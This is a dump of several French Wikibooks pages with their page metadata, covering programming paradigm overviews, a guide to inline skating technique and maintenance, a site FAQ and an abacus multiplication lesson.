orientée objet Packages|Packages]] *[[Programmation Programmation orientée objet Exceptions|Exceptions]] *[[Programmation Programmation orientée objet Mixins|Mixins]] *[[Programmation Programmation orientée objet Délégation|Délégation]] *[[Programmation Programmation orientée objet Conclusion|Conclusion]] {{Programmation}} Programmation orientée aspect 123 11927 2004-09-18T15:12:10Z Yann 2 titres [[Programmation|<Retour au sommaire]] *[[Programmation orientée aspect Introduction|Introduction]] *[[Programmation orientée aspect Aspects|Aspects]] *[[Programmation orientée aspect Point d'action|Point d'action]] *[[Programmation orientée aspect Condition d'exécution|Condition d'exécution]] *[[Programmation orientée aspect Conclusion|Conclusion]] Programmation par contrat 124 11928 2004-11-10T13:41:52Z Esope 99 {{Programmation}} * [[Programmation par contrat Introduction|Introduction]] {{Programmation}} Programmation par contrat Introduction 125 11929 2004-11-10T13:42:37Z Esope 99 correction lien [[Programmation par contrat|<< Retour au sommaire]] La '''programmation par contrat''' est un paradigme de programmation dans lequel le déroulement des traitements est garanti par des vérifications sur les données, ce qui permet d'être sûr que les traitements ne vont pas déclencher d'erreur. Il y a trois catégories de vérification : *Précondition : L'ensemble des conditions qui doivent être vérifiées avant le lancement d'un traitement donné. Ces conditions permettent de s'assurer que le déroulement du traitement est possible sans déclencher d'erreur. *Postcondition : L'ensemble des conditions qui doivent être vérifiées après le déroulement d'un traitement. Ces conditions permettent de s'assurer que le déroulement du traitement n'a pas déclenché d'erreur. *Invariant : L'ensemble des conditions qui doivent être vérifiées à tout moment, y compris au sein d'un traitement. Le seul langage de programmation qui implémente ce paradigme est le langage [[Programmation Eiffel|Eiffel]], mais des modules existent pour d'autres langages, comme JContractor pour [[Programmation Java]]. Programmation orientée aspect Introduction 126 11930 2004-07-24T15:51:13Z Greudin 1 par Traroth La [[programmation orientée aspect]] cherche à séparer syntaxiquement les différentes fonctionnalités d'une application dans des aspects. Idéalement, chaque aspect traite un ensemble cohérent de fonctionnalités. La [[programmation orientée aspect]] est notamment apparue en réaction au problème de la décomposition dominante, qui se produit en [[Programmation orientée objet]]. Apprentissage du patin en ligne 128 44903 2006-06-17T20:44:12Z 81.67.182.181 /* ... en chasse neige */ [[Image:Roller-street-shuffle.jpg|thumb|right|300px|Dérapage en liberté]] L''''apprentissage du patin en ligne''' (parfois appellé ''roller'') est un guide qui enseigne une pratique simple et rapide de ce [[sport]]. ==Apprentissage spécifique par discipline== [[Image:Roller-rampe-seq.jpg|thumb|right|300px|Rampe]] *Fitness *Vitesse *SlalomPour la maitrise de soi-même en slalom, il peut être intéresssant de s'entrainer aussi sur une patinoire à glace en patins à roulettes :[http://upload.wikimedia.org/wikipedia/commons/3/31/Glace.jpg] **Slalom style **Slalom vitesse *Freeride **[[Roller : dérapage|Shuffle, slide, dérapage]] **Catch *Street *Rampe, parc *Descente *Bladercross, bordercross *Saut **Sèche **Tremplin droit **Tremplin courbe *Hockey *Basket-ball *Football *Danse *Artistique *Tout terrain *Tracté, kite == Techniques == === Avancer === Il existe plusieurs méthodes pour avancer en patins à roues alignées. La plus courante est "l'épi", nommée ainsi en raison de la trajectoire que font les patins au sol. Il suffit de se lancer sur un pied en déplaçant le poids du corps sur la jambe correspondante, puis de recommencer en basculant le poids du corps de l'autre côté, et ainsi de suite. === Position de sécurité, ciseaux === La position de sécurité est une position de base pour freiner, tourner, aborder un passage difficile (trottoir, plaque, trou). Il est important de la maîtriser avant de passer au freinage ou au virage. En position de sécurité, les deux pieds sont parallèles, le bassin est écarté, les jambes sont légèrement fléchies, le buste est droit et les yeux regardent au loin. Le poids doit être réparti également sur les deux pieds. Idéalement, le patineur alignera verticalement le nez, les genoux et l'avant des patins. Pour affronter un obstacle, il est important de connaître la position des ''ciseaux''. C'est la même position que la position de sécurité, mais les pieds sont décalés : un pied en avant de l’autre, la roue arrière du pied avant est à la hauteur de la roue avant du pied arrière. L’avantage de cette position est sa stabilité (polygone de sustentation plus grand) et qu'un seul des pieds affronte la difficulté. Dans le pire des cas (pied qui se bloque), on peut utiliser l’autre pied pour enjamber l’obstacle et repartir. Pour commencer, prendre un peu d’élan et se mettre en position de sécurité, puis mettre en avant le pied que l’on préfère. Laisser rouler en restant stable et en allant tout droit. Quand on prend un peu d’aisance, s’entraîner avec l’autre pied en avant (on a toujours un pied de préférence). Par ordre de difficulté, on peut s’entraîner à passer : un petit trottoir en descente, une plaque d’égout, un petit trottoir en montée, etc. Dans les passages qui demandent à enjamber, ne pas hésiter à mettre le poids du corps sur le pied arrière (on met alors le bassin à la verticale du pied arrière) et soulever très légèrement le pied avant. Au fur et à mesure où on prend confiance, on peut soulever de plus en plus le pied avant pour passer un câble, pour monter sur un trottoir haut. Quand le pied avant a passé l’obstacle, on passe alors le poids sur celui-ci pour soulever le pied arrière. Et hop ! === Freiner === ==== ... avec le frein tampon ==== Freiner avec le frein tampon est une figure de base du roller. Il est efficace et pratique. Il faut utiliser le caoutchouc derrière le roller (à placer du côté de la jambe agile). La position est : les jambes fléchies, les bras en avant (apprentissage), avancer d'abord le pied du tampon vers l'avant d'environ deux pieds, puis l'incliner pour frotter le tampon sur le sol. Au début ça freine très mal et en plus on risque de tomber. Mais après s'être entrainé ça freine très bien et il est même possible de tourner en freinant. Ne pas se relever trop vite après l'arrêt. Ne pas hésiter à appuyer fortement et à laisser de belles traces sur le sol. C'est LE freinage efficace dans toutes les situations (sol mouillé, dans une foule...) sauf s'il y a plein de feuilles mortes : il faut relever le pied, le racler vers l'arrière de temps en temps pour chasser les feuilles entassées ! (Mais aucun autre freinage n'est vraiment sûr/efficace dans un tel environnement.) ==== ... en chasse neige ==== C'est un bon freinage qui demande de la largeur et un terrain non glissant, il permet de tourner tout en freinant. Cela consiste à écarter largement les jambes et à faire obliquer les pointes des pieds légèrement vers l'intérieur en poussant fortement les talons vers l'extérieur. On peut apprendre très facilement, en commençant par bien écarter les jambes. En tournant les pieds, le corps prend naturellement une position vers l'arrière pour compenser la projection vers l'avant. Un peu de gravillons et on se retrouve par terre. Ce genre de chute pourrait être dangereuse pour les genoux! Avec de l'expérience et de la vitesse, il est possible de faire une sorte de début de virage serré de manière à placer un des pieds plus perpendiculaire à la trajectoire pour augmenter le freinage. ==== ... autres ==== * [[freinage roller en power slide]] * [[freinage roller en T et en V]] === Virer === ==== ... en chasse neige ==== ==== ... en virage radical ==== Pour faire un '''virage radical''' en patin, il existe deux façons. La première consiste à freiner en «&nbsp;pilier&nbsp;» : C'est-à-dire entamer un virage avec un seul patin en l'avançant, tandis que l'autre fait pilier et sert d'axe de rotation à l'arrière. Imaginez que vous tournez tout en faisant un freinage en ''V'', avec une seule roue qui freine. La seconde façon, encore plus radicale, est le virage dit «&nbsp;hockey&nbsp;». Si vous voulez tourner à droite: avancez le patin droit tout en gardant le patin gauche parallèle au patin droit mais lègèrement en retrait (15 cm). Puis tournez les épaules vers la droite tout en penchant le corps vers le centre du cercle (donc vers la droite). Poussé à la limite, ce virage devient un ''slide'' ([[freiner en hockey|freinage hockey]]) et permet de s'arrêter de manière radicale. Pour le virage gauche, il suffit de remplacer dans le texte «&nbsp;droit&nbsp;» par «&nbsp;gauche&nbsp;». ==== ... tourner en parallèle ==== La position de départ est la position en ciseaux: pieds décalés, poids entre les deux pieds. Le secret pour tourner parallèle est simple : il faut que le pied avant soit celui du coté du virage (pied avant droit pour un virage à droite) et que ce pied soit ''sur la carre externe'' ! Ce dernier point mérite une explication : comme en ski, on parle de carre pour le côté du patin qui appuie sur le sol, la carre interne est le coté entre les patins, la carre externe est le coté à l’extérieur des patins. Quand on patine, on utilise quasiment toujours la carre interne, c’est pour cela que les roues ne s’usent que d’un côté. Pour tourner parallèle, il ''suffit'' que le pied avant soit sur la carre externe, mais c’est souvent difficile quand on débute. Il est beaucoup plus rassurant d’avoir les jambes bien écartées pour être stable. Le problème est que, jambes écartées, on est forcément sur la carre interne et alors tourner parallèle est tout simplement impossible. Pour aider ce passage sur carre externe, au début, on aura intérêt à décaler le pied avant vers l’extérieur du virage, presque devant le pied arrière. Cela parait bizarre et un peu instable, mais cela oblige à être sur la carre externe. Ne pas hésiter à faire de larges courbes pour acquérir les sensations. Quand on sera à l’aise, on raccourcira petit à petit les courbes pour tourner de plus en plus court. Il faut bien comprendre que le regard et les épaules déclenchent le virage. Il faut donc regarder où on veut aller, tourner la tête et les épaules et le reste suivra. On commence du côté favori (on en a toujours un), mais bien faire attention de travailler l’autre côté. On voit souvent des rollermans qui tournent super bien d’un côté et comme une patate de l’autre : ils n’ont pas travaillé leur côté faible. === Franchir les obstacles === ==== descendre les escaliers ==== [[Image:Roller-slalom-marches-trocadero.jpg|thumb|right|300px|Tac-tac arrière]] * En avant ou '''tac-tac avant''' La descente d'escaliers en avant se fait jambes décalées avec une vitesse d'exécution relativement élevée avec le corps légèrement fléchi vers l'avant. Cette technique est plutôt inconfortable car les accoups sont absorbés en grande partie par la colonne vertébrale. * En arrière ou '''tac-tac arrière''' La descente d'escaliers en arrière se fait jambes décalées et alignées si possible, la vitesse d'exécution est relativement élevée, la jambe ''suiveuse'' devra être légèrement plus fléchie que la première jambe qui devra être ainsi plus tendue. Cette technique est plus confortable car l'on absorbe les accoups par un effort musculaire. ==== monter et descendre un trottoir ==== Pour monter ou descendre d'un trottoir, il existe plusieurs techniques. Si vous arrivez parallèlement au trottoir, il faut passer le poids du corps sur un pied (le plus éloigné du trottoir pour monter), soulever l'autre pied et le placer sur le trottoir puis ensuite basculer le poids du corps sur le pied qui se trouve sur le trottoir et ramener l'autre pied. La même méthode peut-être utilisée pour descendre. On peut également sauter à l'aproche du trottoir pour monter ou descendre. ==== sauter ==== Pour sauter depuis un module ou sur autre chose il faut plier les genoux et une fois arrivé au bout du module on détend les jambes. Une bonne réception au sol on exécute l'effet ressort c'est à dire que l'on plie les jambes au fur et à mesure de la descente. ==== faire des pas ==== ==== marcher ==== Mieux vaut marcher dans l'herbe. C'est plus facile === Chuter === Tomber sans s'autodétruire en roller Quand on tombe, les parties les plus souvent abimées sont par ordre : # les poignets, (60 % des blessures, des fractures) # les genoux, # les coudes, # les hanches, le haut des cuisses # la tête. Pour toutes ces parties il existe des protections. A noter que les casques pour cyclistes peuvent être dangereux s'ils ont une excroissance prononcée à l'arrière car cela peut provoquer un "coup du lapin". Si on tombe peu souvent sur la tête, c'est quand même le plus dangereux. Les chutes sur le dos sont les pires, il faut donc toujours se pencher en avant pour les éviter. Quand on débute, il faut absolument avoir au minimum des protège-poignets, car cela permet d'amortir sans mesure sur les mains. Quand on n'est pas débutant on sait à quoi s'en tenir et cela devient un choix personnel mesuré. Il faut toujours être bien en forme quand on fait du roller car c'est un sport qui demande une grande réactivité. Avec l'expérience on arrive à maîtriser bien mieux la prise de risque et on peut se réserver une marge de sécurité. Il existe des techniques pour bien tomber : aller sur l'herbe si possible, s'accroupir en mettant un des genoux au sol ainsi que les mains, mettre les deux mains vers la droite pour rouler par terre, être souple et rouler par terre. === Le slalom === Le slalom figure est une des disciplines du roller acrobatique et a ses techniques spécifiques, comme par exemple : *La godille. *Le croisé et ses variantes (boîte aux lettres, balade, eddy mabrouk, etc). *Le nelson. *Le crazy. *La volte. *L'aigle et ses variantes. Ces figures peuvent êtres variées à l'infini par des compositions ou des exécutions en arrière (''back''), en inversant les appuis (''switch''), sur un seul pied ou sur les extrémités des roues (''royal''). === Déraper === ''Voir l'article sur le [[Roller : dérapage|dérapage]]''. ==Entretien du matériel== Entretenir ses rollers régulièrement est indispensable pour profiter pleinement de la glisse. On distingue plusieurs opérations se faisant à des intervalles variables. Les fréquences indiquées le sont à titre indicatif. En pratique, tout dépend de la durée de vos "sorties". Certaines actions peuvent aussi être occasionnelles, lorsque l'on constate un problème. === Toutes les 2 ou 3 sorties === C'est-à-dire avant que vos roues soient bizeautées ! Démonter les roues (avec deux clefs alen (six pans)) et les nettoyer à l'aide d'un tissu propre (nettoyer en particulier les roulements extérieurs). Ensuite, il faut échanger les roues pour que l'usure se répartisse bien au fil des sorties. L'idée est de passer une roue à une place ou elle travaillera d'une manière totalement opposée. Voici un schéma souvent utilisé : 1g 1d 2g 2d 3g 3d 4g 4d C'est-à-dire de 1g, roue avant du patin gauche à 4d roue arrière du patin droit. Nous allons faire les échanges suivants : 1g <-> 3d 2g <-> 4d 3g <-> 1d 4g <-> 2d Les roues changent bien totalement de fonction en passant : - d'une extrémité à une position "centrale" - du patin gauche au patin droit - de l'arrière à l'avant et inversement Il faut aussi, un entretien sur deux, retourner les roues. Cela permet d'éviter qu'elles deviennent complètement bizeautées. En effet, les roues ont tendance à s'user plus sur la face intérieure que sur la face extérieure. === Toutes les 10-15 sorties === === Graisser les roulements === === Enlever le tampon de frein === Le tampon de frein devient parfois encombrant. Si vous préférez vous en passer, la manipulation n'est pas très compliquée. Il suffit de dévisser la roue arrière (à l'aide d'une ou deux clefs allen) et de la retirer. Généralement, le frein peut alors s'enlever sans problème. Parfois, une vis supplémentaire fixe le frein sur la lame, mais ce type de fixation tend à disparaître. Il faut cependant noter que la roue à laquelle est attaché le frein est fixée à l'aide d'une vis plus longue que les autres, car le frein ajoute une épaisseur à la lame. Il faut donc la remplacer par une vis classique. Souvent, cette vis est vendue avec les rollers. Sinon, elle peut se trouver dans tout bon magasin ! Wikilivres:Foire aux questions 129 43815 2006-06-03T17:11:53Z Colonna 1604 [[catégorie:Wikilivres:Aide|FAQ]] Vous trouverez dans ces pages un grand nombre de questions/réponses concernant le site [[Wikilivres:Wikilivres|Wikilivres]]. Si vous ne trouvez pas la question que vous vous posez, ou si la réponse ne vous satisfait pas, il reste encore plusieurs autres options. Si vous êtes nouveau à bord de Wikilivres, vous aimerez sans doute lire [[Wikilivres:Bienvenue| Bienvenue aux nouveaux venus]], la page d'accueil des nouveaux venus, qui fournit l'information et des liens utiles pour vous permettre de commencer. Essayez aussi de suivre les liens de la [[Wikilivres:Aide|page d'aide]]. == Questions générales sur le projet == == Trouver et lire dans Wikilivres, utiliser Wikilivres == == Pourquoi contribuer et comment contribuer == === Pour commencer === ==== Comment puis-je contribuer ? ==== : En éditant des pages, en créant de nouvelles pages, en publiant des Wikilivres, ou par des donations. ==== Pourquoi devrais-je contribuer ?==== ==== Quel est l'intérêt d'apporter ma contribution ? ==== ==== Ai-je besoin de m'inscrire pour éditer des pages? ==== :Non. Tout le monde peut éditer sans aucune sorte d'inscription. Cependant, s'inscrire permet d'avoir un suivi des modifications et de voir s'il y a eu une modification depuis la dernière visite. ==== Quel est l'intérêt de demander un compte utilisateur ?==== :Il y a plusieurs raisons à cela: voyez [[Wikilivres:Comment s'identifier]] ==== Suis-je obligé d'utiliser mon vrai nom ? ==== :Les vrais noms ne sont pas exigés; certains [[Special:Listusers|participants]] utilisent leurs vrais noms, alors que d'autres utilisent des pseudonymes. ==== Comment puis-je changer mon nom d'utilisateur ?==== :Le seul moyen est de créer un nouveau compte. == Les outils pour créer et éditer des pages de Wikilivres == == Administration, statut d'opérateur système, administration de serveur == == Logiciels et matériels de Wikilivres == == Questions relatives aux difficultés passées et présentes, critiques == ===Pourquoi avoir créé Wikilivres et ne pas tout incorporer dans l'encyclopédie Wikipédia ?=== Parce qu'il en faut pour tout le monde. == Questions diverses == === Existe-t-il un utilitaire permettant d'imprimer un livre globalement ? === [[en:wikibooks:FAQ]] [[nl:Help:Veelgestelde vragen]] [[vi:Wikibooks:Câu thường hỏi]] Freinage roller en power slide 130 26336 2005-12-01T13:39:43Z Guillaumito 46 restitution de la dernière modification de Greudin '''Freiner en power slide''' est une figure de base du [[w:roller|roller]] C'est un freinage efficace mais très difficile; il met longtemps pour pouvoir être utilisé à l'aise à bonne vitesse. Il ne demande pas trop de largeur, cela dépend de la technique utilisée. === La position === L'idée est d'avoir un pied perpendiculaire à la trajectoire pour freiner et l'autre aligné sur la trajectoire pour se stabiliser. Contrairement au freinage en T le pied freinant ne traîne pas mais est penché de manière à pouvoir appuyer fort, la jambe freinante et le reste du corps sont en oblique dans le prolongement du patin de manière à résister à la force d'inertie. Cette position n'est possible que si l'on est en marche arrière, dans une position genre fente d'escrime. Imaginez un freinage en T mais où la direction est dans l'autre sens et où la jambe perpendiculaire est très penchée et en avant (dans le sens du mouvement). === Apprendre === Il faut d'abord apprendre à rouler en marche arrière, puis sur un pied en marche arrière en plaçant l'autre dans la position finale mais en effleurant le sol pour commencer. Apprendre aussi à sauter de marche avant vers marche arrière, puis en atterrissant sur un seul pied. Une fois que l'on sait faire tout ça correctement, on est mieux armé. Comme il est difficile de faire ce freinage à faible vitesse, il faut trouver une surface bien lisse ce qui diminue la vitesse nécessaire. Il existe au moins trois manières d'arriver à la position du power slide: ==== En sautant ==== Tout "simplement", on passe de la position avant vers la position finale en sautant, il est quand même important de se préparer en mettant le pied freinant un peu en avant. Cela demande peu de largeur mais certains doutent de sa fiabilité à vitesse élevée. ==== En commençant un virage serré ==== On fait un début de virage radical, puis on pousse le pied pour démarrer le dérapage. Il faut pour cela bien s'entraîner à faire des virages serrés en dérapant un peu. ==== Méthode "classique" ==== On met le pied freinant un peu en avant puis très rapidement on applique sur le pied avant un virage extrêmement serré en arrivant très vite sur le dérapage tout en étendant vite la jambe. En même temps on fait un retournement pour le pied arrière et le corps. Il faut que le regard suive le corps et se retourne aussi. Il faut faire attention à ne pas mettre trop de poids sur la roue arrière du pied freinant ce qui fait raccrocher le sol et déséquilibre la personne. Certains estiment que le tampon de frein peut faire chuter pour ce freinage. Freinage roller en T et en V 131 39148 2006-03-28T21:58:26Z Outs 1307 '''Freiner en T et en V''' est une figure de base en [[w:roller|roller]] Il s'agit de rouler sur un pied et de faire trainer l'autre soit: * perpendiculairement derrière le pied support (en T), * en oblique sur le côté un peu en arrière. Le frein en V use moins les roues mais freine un peu moins fort. Les deux ne sont pas des freinages très forts, mais c'est très pratique pour ralentir car avec l'expérience on peut tourner en même temps. Pour apprendre, il faut d'abord savoir rouler sur un pied. Puis poser le pied freinant légèrement pour commencer. ==Voir aussi== *[[freinage roller en power slide]]. Wikilivres:Copyrights 132 11936 2004-07-24T17:31:12Z COLETTE 5 Wikilivres:Copyrights déplacé vers Wikilivres:Copyright #REDIRECT [[Wikilivres:Copyright]] S'initier au boulier en 10 leçons - Leçon 5bis 134 11938 2004-07-24T20:30:26Z HB 15 découpage de la leçon 5 {| width="100"% cols="3" border="1" align = "right" |----- | colspan="3" align="center" | <b>[[S'initier au boulier en 10 leçons]]</b> |----- | align="center" | [[S'initier au boulier en 10 leçons - Leçon 4|Leçon 4]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 5|retour]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 6|Leçon 6]] |} '''Multiplication par un nombre à deux chiffres''' <br/> <br/> Pour multiplier 283 par 47, on écrit, à gauche du boulier ou sur une feuille de papier, le multiplicateur 47 et classiquement à droite sur le boulier le muliplicande 283 et on réserve à gauche de ce nombre autant de rangées qu'occupe le multiplicateur (ici deux rangées) <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 | align="center" | 0 | align="center" | <font color="red">2 </font> | align="center" | <font color="red">8 </font> | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> *Il s'agit de multiplier d'abord 2 par 47. Opération que l'on fait en 2 temps. **On multiplie 2 par 4 (8) et on inscrit le résultat dans les deux cases de gauche. Ici comme le résultat est inférieur à 10 la dernière case de gauche est vide. <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 | align="center" | 8 | align="center" | <font color="red">2 </font> | align="center" | <font color="red">8 </font> | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> **puis on multiplie 2 par 7 (14) que l'on met en décalage d'une case sur la droite, le 1 venant s'ajouter au nombre précédent: <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 | align="center" | 9 | align="center" | 4 | align="center" | <font color="red">8 </font> | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> *Il s'agit maintenant de multiplier 8 par 47. **On effectue le produit de 8 par 4 (32) que l'on ajoute dans les deux colonnes à gauche de 8 <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 2 | align="center" | 6 | align="center" | <font color="red">8 </font> | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> **Puis on effectue le produit de 8 par 7 (56) que l'on met à la place de 8, le 5 venant s''ajouter dans la colonne de gauche. <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 3 | align="center" | 1 | align="center" | 6 | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> *On effectue enfin le produit de 3 par 47 **On effectue le produit de 3 par 4 (12)que l'on ajoute dans les deux colonnes à gauche de 3 <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 3 | align="center" | 2 | align="center" | 8 | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> **puis on effectue le produit de 3 par 7 (21) que l'on met à la place du 3, le 2 venant s'ajouter dans la colonne de gauche. <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 3 | align="center" | 3 | align="center" | 0 | align="center" | 1 |----- | [[Image:Boule-grise.png]]<br /> 